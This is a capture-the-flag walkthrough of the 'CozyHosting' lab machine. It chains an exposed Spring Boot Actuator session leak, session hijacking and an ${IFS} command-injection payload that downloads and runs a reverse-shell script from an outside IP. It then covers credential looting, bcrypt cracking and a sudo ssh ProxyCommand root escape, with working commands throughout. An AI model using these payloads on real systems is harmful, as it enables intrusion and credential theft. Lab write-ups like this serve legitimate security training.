Overview
CozyHosting is an easy Linux box that's a tour of Spring Boot misconfigurations. An exposed Actuator endpoint leaks a live session, which I hijack to reach an admin dashboard. The dashboard's host field is vulnerable to command injection, giving a shell as app. From there I loot the application JAR for a Postgres password, crack an admin bcrypt hash, reuse it for SSH, and finish with a one-line GTFOBins sudo ssh escape.
Recon
The /error page renders a Spring "Whitelabel Error Page", fingerprinting Spring Boot. That tells me to fuzz with a Spring-specific wordlist, which immediately exposed the Actuator:
gobuster dir -u http://cozyhosting.htb/ -w .../spring-boot.txt -x php,js,htm,html
/actuator/sessions (Status: 200)
/actuator/env (Status: 200)
/actuator/mappings (Status: 200)
Why exposed Actuators are dangerous: Spring Boot Actuator endpoints are operational tooling, health, env, beans, and crucially
sessions. Left public,/actuator/sessionslists active session IDs mapped to usernames. That's a free authentication bypass.
Foothold
Session Hijack → Command Injection
/actuator/sessions exposed a session token tied to kanderson. I set that cookie in the browser and refreshed straight into the admin dashboard.
The dashboard runs an ssh-based connection check. The username field rejects spaces, but ${IFS} (the shell's Internal Field Separator) substitutes for them, bypassing the filter:
Why
${IFS}works: the app blocks literal spaces, but the backend still passes the field to a shell.${IFS}expands to whitespace inside the shell, so I reconstruct a multi-argument command without ever typing a space.
test;curl${IFS}http://10.10.14.143/rev.sh${IFS}-o${IFS}/tmp/rev.sh
test;bash${IFS}/tmp/rev.sh
rlwrap nc -lvnp 443
app@cozyhosting:/app$ whoami
app
Privilege Escalation
Looting the JAR → Postgres → SSH
The app directory held cloudhosting-0.0.1.jar. Unzipping it and grepping for secrets found the datasource password:
grep -R password .
./BOOT-INF/classes/application.properties:spring.datasource.password=‹redacted›
Connecting to Postgres with it and dumping the users table gave an admin bcrypt hash, which John cracked:
select * from users;
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
john hash --wordlist=rockyou.txt -> ‹redacted›
The admin password didn't SSH as admin, but it did work for the only other real user, josh, password reuse again:
ssh josh@cozyhosting.htb
josh@cozyhosting:~$ whoami
josh
sudo ssh, GTFOBins
sudo -l
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
Why
sudo sshis root: OpenSSH'sProxyCommandruns an arbitrary command. Whensshitself runs as root via sudo, that command runs as root too. GTFOBins documents the exact escape:
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Root
# whoami
root
Box rooted.
Takeaways
- Spring Boot Actuator endpoints belong behind auth.
/actuator/sessionshanded over a valid session. ${IFS}defeats naive space filters in command-injection contexts.- Application JARs are credential stores. Unzip and
grep -R password,application.propertiesroutinely holds DB creds. sudoonsshis a known GTFOBins root escape viaProxyCommand. Always check GTFOBins for any binary you can sudo.